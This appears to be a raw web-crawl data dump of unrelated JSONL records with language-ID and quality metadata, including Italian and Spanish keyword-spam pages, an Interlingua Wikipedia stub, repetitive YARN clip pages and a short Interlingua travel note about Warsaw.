Gall||Thomas Le Montagner|\n|THOMAS LE GLOANIC||Thomas LE MOULLEC|\n|THOMAS LE GLOANIC||THOMAS LE NAGARD|\n|Thomas Le gloannec||Thomas Le Naour|\n|Thomas Le Goff||Thomas LE NECHET|\n|Thomas Le Goff||thomas le neillon|\n|Thomas LE GOFF||Thomas Le Page|\n|Thomas Le Goff||Thomas Le Paige|\n|Thomas LE GOFF||Thomas Le Palaire|","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.couchsurfing.com\/directory\/T-28-53","date":"2018-04-22T15:04:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945604.91\/warc\/CC-MAIN-20180422135010-20180422155010-00211.warc.gz","language":"ina","language_score":0.5773465037,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5773465037345886, \"fra_Latn_score\": 0.14595361053943634, \"hat_Latn_score\": 0.04941653832793236, \"tso_Latn_score\": 0.023665359243750572, \"frp_Latn_score\": 0.021927911788225174, \"nso_Latn_score\": 0.018610017374157906, \"smo_Latn_score\": 0.018399160355329514, \"nap_Latn_score\": 0.0125089967623353, \"vec_Latn_score\": 0.011398965492844582}","num_words":568,"character_repetition_ratio":0.247,"word_repetition_ratio":0.064,"special_characters_ratio":0.257,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.372,"perplexity_score":33703.4,"cluster_detection":-1} +{"text":"mappa illuminismo mappe per la scuola illuminismo\nmappa illuminismo mappa concettuale illuminismo mappa concettuale per storia\nmappa illuminismo mapper illuminismo scienza e arti\nmappa illuminismo tutti a bordo dislessia illuminismo mappa mentale\nmappa illuminismo illuminismo mappa concettuale sulle idee e i principi\nmappa illuminismo mapper illuminismo in francia e italia\nmappa illuminismo didatticanet pagina 2\nmappa illuminismo mapper illuminismo\nmappa illuminismo illuminismo mappa\nmappa illuminismo il xviii secolo mappa concettuale 3 illuminismo\nmappa illuminismo mappa concettuale le riforme illuministiche studentville\nmappa illuminismo mappa illuminismo html\nmappa illuminismo lezione di storia l illuminismo la scuola intelligente\nmappa illuminismo la scuoleria storia la rivoluzione scientifica e l\nmappa illuminismo il illuminismo mappa concettuale\nmappa illuminismo schemi sull illuminismo ed il dispotismo illuminato\nmappa illuminismo illuminismo grandi belli monelli\nmappa illuminismo l illuminismo mappa concettuale\nmappa illuminismo italiano\nmappa illuminismo tutti a bordo dislessia illuminismo mappa concettuale\nmappa illuminismo mappa concettuale illuminismo in italia 1750\nmappa illuminismo illuminismo 2 170 media aiutodislessia net\nmappa illuminismo mappe concettuali su voltaire proprio quello cercavi\nmappa illuminismo italiano\nmappa illuminismo galilei di gorizia come studiare con metodo\nmappa illuminismo illuminismobn\nmappa illuminismo illuminismo blackboard italiano storia\nmappa illuminismo mappa concettuale illuminismo","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/winterbottomhomes.com\/mappa-illuminismo.html","date":"2018-06-22T11:42:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864391.61\/warc\/CC-MAIN-20180622104200-20180622124200-00400.warc.gz","language":"ina","language_score":0.6935483217,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.693548321723938, \"ita_Latn_score\": 0.10871315002441406, \"bug_Latn_score\": 0.045697737485170364, \"ibg_Latn_score\": 0.03683382645249367, \"lat_Latn_score\": 0.03514751046895981, \"gdg_Latn_score\": 0.01602453738451004, \"eus_Latn_score\": 0.010566391050815582}","num_words":339,"character_repetition_ratio":0.37,"word_repetition_ratio":0.024,"special_characters_ratio":0.131,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.694,"perplexity_score":17434.0,"cluster_detection":-1} +{"text":"mappa illuminismo mappa concettuale illuminismo mappa concettuale per storia\nmappa illuminismo illuminismo mappa concettuale sulle idee e i principi\nmappa illuminismo italiano\nmappa illuminismo mapper illuminismo scienza e arti\nmappa illuminismo tutti a bordo dislessia illuminismo mappa mentale\nmappa illuminismo mapper illuminismo in francia e italia\nmappa illuminismo mappa concettuale sull illuminismo studentville\nmappa illuminismo mappa concettuale le riforme illuministiche studentville\nmappa illuminismo mappa illuminismo html\nmappa illuminismo schemi sull illuminismo ed il dispotismo illuminato\nmappa illuminismo dal pensiero alle parole ottobre 2015\nmappa illuminismo didatticanet pagina 2\nmappa illuminismo lezione di storia l illuminismo la scuola intelligente\nmappa illuminismo l illuminismo mappa concettuale\nmappa illuminismo il illuminismo mappa concettuale\nmappa illuminismo separazione dei poteri illuminismo my rome\nmappa illuminismo la scuoleria storia la rivoluzione scientifica e l\nmappa illuminismo mapper illuminismo in italia\nmappa illuminismo italiano\nmappa illuminismo tutti a bordo dislessia illuminismo mappa concettuale\nmappa illuminismo galilei di gorizia con metodo\nmappa illuminismo illuminismo periodo 1700 1800 docsity\nmappa illuminismo illuminismobn\nmappa illuminismo mappa concettuale romanticismo letteratura\nmappa illuminismo illuminismo blackboard italiano storia\nmappa illuminismo mappe concettuali su voltaire proprio quello che cercavi\nmappa illuminismo ascolta e apprendi benvenuti su filomenagreco\nmappa illuminismo mapper illuminismo","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/offmyknees.us\/mappa-illuminismo.html","date":"2018-06-25T00:51:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867304.92\/warc\/CC-MAIN-20180624234721-20180625014721-00080.warc.gz","language":"ina","language_score":0.6585946679,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6585946679115295, \"ita_Latn_score\": 0.17296282947063446, \"bug_Latn_score\": 0.03609327971935272, \"lat_Latn_score\": 0.02996780164539814, \"ibg_Latn_score\": 0.028231415897607803, \"gdg_Latn_score\": 0.011456465348601341}","num_words":347,"character_repetition_ratio":0.358,"word_repetition_ratio":0.012,"special_characters_ratio":0.132,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.659,"perplexity_score":16390.3,"cluster_detection":-1} +{"text":"juegos de mario bros infinite\nJuego de Mario Bros: Mario Forever Flashjuegos de mario bros infinite\nMario Boxing Gamejuegos de mario bros infinite\nSuper Mario 63juegos de mario bros infinite\nSuper Mario Jigsaw Puzzle 4juegos de mario bros infinite\nSuper Mario Escene worldjuegos de mario bros infinite\nWario Puzzlejuegos de mario bros infinite\nMario Strikersjuegos de mario bros infinite\nJuegos de Mario Bros: Mario ATV in Sonic Landjuegos de mario bros infinite\nMario Flat Screenjuegos de mario bros infinite\nSuper Mario Flashjuegos de mario bros infinite\nMario ATV 2juegos de mario bros infinite\nSuper Mario Flash 2juegos de mario bros infinite\nSuper Mario 3: Star Scramblejuegos de mario bros infinite\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros infinite\nMario Atvjuegos de mario bros infinite\nThe Adventure of Super Mario Landjuegos de mario bros infinite\nJuegos de Mario Bros: Mario Breakoutjuegos de mario bros infinite\nMario Shoot zombiesjuegos de mario bros infinite\nSuper Mario Motojuegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros infinite\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros infinite\nSuper Mario Bros: Star Scramblejuegos de mario bros infinite\nMario Kartjuegos de mario bros infinite\nMario y las plantas carnívorasjuegos de mario bros infinite\nYokojuegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Waterjuegos de mario bros infinite\nJuegos de Mario Bros: Super Flashjuegos de mario bros infinite\nSuper Mario Coin Catcherjuegos de mario bros infinite\nSuper Mario bros star scramble 2juegos de mario bros infinite\nMario Super Smashjuegos de mario bros infinite\nSuper Mario Motojuegos de mario bros infinite\nMario contra el tiempojuegos de mario bros infinite","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/juegosdemariobros.net\/infinite\/","date":"2022-07-02T07:28:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103989282.58\/warc\/CC-MAIN-20220702071223-20220702101223-00593.warc.gz","language":"ina","language_score":0.3819147646,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.38191476464271545, \"spa_Latn_score\": 0.3071513772010803, \"arg_Latn_score\": 0.07373588532209396, \"alz_Latn_score\": 0.03250393271446228, \"srd_Latn_score\": 0.028643300756812096, \"lat_Latn_score\": 0.013571228832006454, \"ido_Latn_score\": 0.012595497071743011, \"glg_Latn_score\": 0.010088310576975346}","num_words":538,"character_repetition_ratio":0.426,"word_repetition_ratio":0.329,"special_characters_ratio":0.164,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":7876.0,"cluster_detection":-1} +{"text":"Skip to content\nLiberarete\nComo liberar un celular\nCategoría:\nZTE\nComo liberar un celular ZTE nubia Red Magic 7S gratis\nZTE\nComo liberar un celular ZTE nubia Z40S Pro gratis\nZTE\nComo liberar un celular ZTE Axon 40 Ultra gratis\nZTE\nComo liberar un celular ZTE Axon 40 pro gratis\nZTE","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/liberarete.org\/category\/zte\/","date":"2022-08-10T11:48:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571153.86\/warc\/CC-MAIN-20220810100712-20220810130712-00223.warc.gz","language":"ina","language_score":0.4989821613,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.49898216128349304, \"arg_Latn_score\": 0.12998847663402557, \"glg_Latn_score\": 0.09159359335899353, \"fan_Latn_score\": 0.04243544861674309, \"vec_Latn_score\": 0.020013397559523582, \"tzh_Latn_score\": 0.019007844850420952, \"mwl_Latn_score\": 0.017709210515022278, \"gym_Latn_score\": 0.01764356717467308, \"spa_Latn_score\": 0.013628802262246609, \"cab_Latn_score\": 0.013029876165091991, \"hus_Latn_score\": 0.010809365659952164}","num_words":71,"character_repetition_ratio":0.221,"word_repetition_ratio":0.129,"special_characters_ratio":0.206,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.54,"perplexity_score":22731.1,"cluster_detection":-1} +{"text":"La Cabeza de Béjar\n|La Cabeza de Béjar|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Population||57|\n|Area||13,9 km²|\n|Situate in||Provincia de Salamanca|\n|Altitude||1 036 ±1 m|\n|Coordinatas||40°30'1\"N, 5°39'0\"W|\n|Geonames ID||6360317|\n|Wikimedia Commons Category|\nLa Cabeza de Béjar\nLa Cabeza de Béjar es un municipalitate que se trova in le provincia de Salamanca, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.wikipedia.org\/wiki\/La_Cabeza_de_B%C3%A9jar","date":"2023-06-01T02:59:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647525.11\/warc\/CC-MAIN-20230601010402-20230601040402-00651.warc.gz","language":"ina","language_score":0.5828553438,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5828553438186646, \"glg_Latn_score\": 0.05794624984264374, \"atj_Latn_score\": 0.0415024496614933, \"oci_Latn_score\": 0.03563942015171051, \"nrm_Latn_score\": 0.03319253399968147, \"sco_Latn_score\": 0.028712686151266098, \"vec_Latn_score\": 0.02771027944982052, \"ast_Latn_score\": 0.01860513724386692, \"arg_Latn_score\": 0.016713596880435944, \"spa_Latn_score\": 0.010088041424751282}","num_words":106,"character_repetition_ratio":0.133,"word_repetition_ratio":0.165,"special_characters_ratio":0.306,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.58,"perplexity_score":2736.6,"cluster_detection":-1} diff --git a/ina_Latn/fineweb-2_000001_stas.jsonl b/ina_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..b864e5e7b1f2da828ab81224e34ef2503e8b3c3d --- /dev/null +++ b/ina_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 605.5448275862069, + "character_repetition_ratio": 0.14631200951248513, + "word_repetition_ratio": 0.04162746730083234, + "special_characters_ratio": 0.1933332936979786, + "stopwords_ratio": 0.032337812128418554, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.7111495838287752, + "perplexity_score": 6809.933959571938 + } + }, + { + "std": { + "num_words": 2079.383876712062, + "character_repetition_ratio": 0.10780386541851049, + "word_repetition_ratio": 0.09512438309196572, + "special_characters_ratio": 0.043532937190406164, + "stopwords_ratio": 0.033635298816652615, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.282231811146043, + "perplexity_score": 7737.374570380826 + } + }, + { + "median": { + "num_words": 251.0, + "character_repetition_ratio": 0.112, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.188, + "stopwords_ratio": 0.021, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.726, + "perplexity_score": 3821.7 + } + }, + { + "max": { + "num_words": 79279.0, + "character_repetition_ratio": 0.62, + "word_repetition_ratio": 0.974, + "special_characters_ratio": 0.626, + "stopwords_ratio": 0.286, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 46927.3 + } + }, + { + "min": { + "num_words": 52.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.09, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.143, + "perplexity_score": 3.0 + } + }, + { + "90%": { + "num_words": 1122.1000000000004, + "character_repetition_ratio": 0.282, + "word_repetition_ratio": 0.105, + "special_characters_ratio": 0.238, + "stopwords_ratio": 0.071, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 17988.530000000002 + } + }, + { + "75%": { + "num_words": 585.0, + "character_repetition_ratio": 0.232, + "word_repetition_ratio": 0.05, + "special_characters_ratio": 0.199, + "stopwords_ratio": 0.037, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 10235.324999999999 + } + }, + { + "50%": { + "num_words": 251.0, + "character_repetition_ratio": 0.112, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.188, + "stopwords_ratio": 0.021, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.726, + "perplexity_score": 3821.7 + } + }, + { + "25%": { + "num_words": 123.0, + "character_repetition_ratio": 0.057, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.171, + "stopwords_ratio": 0.014, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.44825000000000004, + "perplexity_score": 810.65 + } + }, + { + "total size": "8410", + "keep size": "7551", + "remove size": "859" + } +] \ No newline at end of file diff --git a/ina_Latn/mala_000002_stas.jsonl b/ina_Latn/mala_000002_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..f6574cadf2c0d76de6e3ab0c796e6dd57df92908 --- /dev/null +++ b/ina_Latn/mala_000002_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 59.28020747307068, + "character_repetition_ratio": 0.03288240816108275, + "word_repetition_ratio": 0.0008487205233169548, + "special_characters_ratio": 0.20324947270231894, + "stopwords_ratio": 0.006791689194407972, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9475491560266411, + "perplexity_score": 116076.02107943033 + } + }, + { + "std": { + "num_words": 312.1446237046415, + "character_repetition_ratio": 0.048403747373379026, + "word_repetition_ratio": 0.013522575622419123, + "special_characters_ratio": 0.04184920578462037, + "stopwords_ratio": 0.015902124463664017, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.14508038408576257, + "perplexity_score": 60626.82129732705 + } + }, + { + "median": { + "num_words": 31.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.194, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 110456.7 + } + }, + { + "max": { + "num_words": 62408.0, + "character_repetition_ratio": 0.2, + "word_repetition_ratio": 0.593, + "special_characters_ratio": 0.4, + "stopwords_ratio": 0.265, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 437400.0 + } + }, + { + "min": { + "num_words": 10.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.033, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.059, + "perplexity_score": 33.5 + } + }, + { + "90%": { + "num_words": 101.0, + "character_repetition_ratio": 0.113, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.256, + "stopwords_ratio": 0.029, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 193800.4 + } + }, + { + "75%": { + "num_words": 51.0, + "character_repetition_ratio": 0.056, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.218, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 156475.5 + } + }, + { + "50%": { + "num_words": 31.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.194, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 110456.7 + } + }, + { + "25%": { + "num_words": 23.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.177, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.987, + "perplexity_score": 68661.04999999999 + } + }, + { + "total size": "168311", + "keep size": "152210", + "remove size": "16101" + } +] \ No newline at end of file diff --git a/ina_Latn/new_cc_000003_keep.jsonl b/ina_Latn/new_cc_000003_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..cff9b57e52a8b2044829ba0d9ff3958e2152484f --- /dev/null +++ b/ina_Latn/new_cc_000003_keep.jsonl @@ -0,0 +1,9 @@ +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | The Tigger Movie | Video clips by quotes | 7471b3b6 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\nSearch clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/7471b3b6-137c-40ce-aaf3-ae95ff22a03e\n😎\n😐\n😂\n😘\n😳\n😍\n#ok\n#gasps\n#surprise\n#goodmorning\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1220,"character_repetition_ratio":0.695,"word_repetition_ratio":0.757,"special_characters_ratio":0.328,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.951,"perplexity_score":172658.2,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Ice Age (2002) | Video clips by quotes | 2cbc5572 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/2cbc5572-14c7-4cc6-b937-d9129003e800\n😎\n😐\n😂\n😘\n😳\n😍\n#laughing\n#wait\n#shit\n#wtf\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1200,"character_repetition_ratio":0.694,"word_repetition_ratio":0.746,"special_characters_ratio":0.332,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":168394.9,"cluster_detection":1} +{"text":"Io ha retornate hodie de un breve viage in Polonia, plus precisemente a Varsavia. Le amicos polonese qui io cognosce in Helsinki me habeva alertate que Varsavia es un del citates minus actractive del Polonia, ma io ha essite multo satisfacite de lo que ha vidite. Le tempore non esseva perfecte, il habeva sol solmente sabbato, durante que in le altere dies le ciel esseva coperite per nubes non troppo aggressive.","num_words":81,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":166582.6,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | The Loud House | Video clips by quotes | 8a0be2ea | 